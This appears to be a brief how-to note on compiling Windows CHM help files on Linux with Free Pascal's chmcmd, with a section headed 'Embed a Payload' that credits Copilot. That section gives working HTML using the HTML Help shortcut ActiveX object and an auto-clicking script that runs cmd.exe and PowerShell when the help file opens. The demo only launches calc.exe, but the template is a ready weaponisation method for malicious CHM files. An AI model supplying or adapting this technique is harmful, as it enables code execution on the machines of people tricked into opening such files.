CHM

Creating a CHM can be done using the Free Pascal Compiler or Ide on Linux

sudo apt-get install fp-ide
sudo apt-get install fp-compiler

The CHM can be compiled using the installed 'chmcmd' program.

Guide

Thanks, Copilot:

📁 Step-by-Step Guide

Make Content

MyHelpProject/
├── index.html
├── topic1.html
├── topic2.html
├── styles.css
└── images/
    └── example.png

Embed a Payload

<html>
<body>
    Hello world
    <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
        <PARAM name="Command" value="ShortCut">
         <PARAM name="Button" value="Bitmap::shortcut">
         <PARAM name="Item1" value=",cmd.exe,/c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command C:\Windows\System32\calc.exe">
         <PARAM name="Item2" value="273,1,1">
    </OBJECT>
    <SCRIPT>
        x.Click();
    </SCRIPT>
</body>
</html>

Create the Project (.hhp file)

Note the following reference on the format

[OPTIONS]
Title=CHM
Default topic=file1.htm
Compiled file=chm.chm
Index file=index.htm

[FILES]
index.htm
file1.htm

Compile

chmcmd project.hhp

This will produce project.chm.

On Linux, you may need libchm or chmcmd compiled with support for it.

References:

.NET Version

References

CHM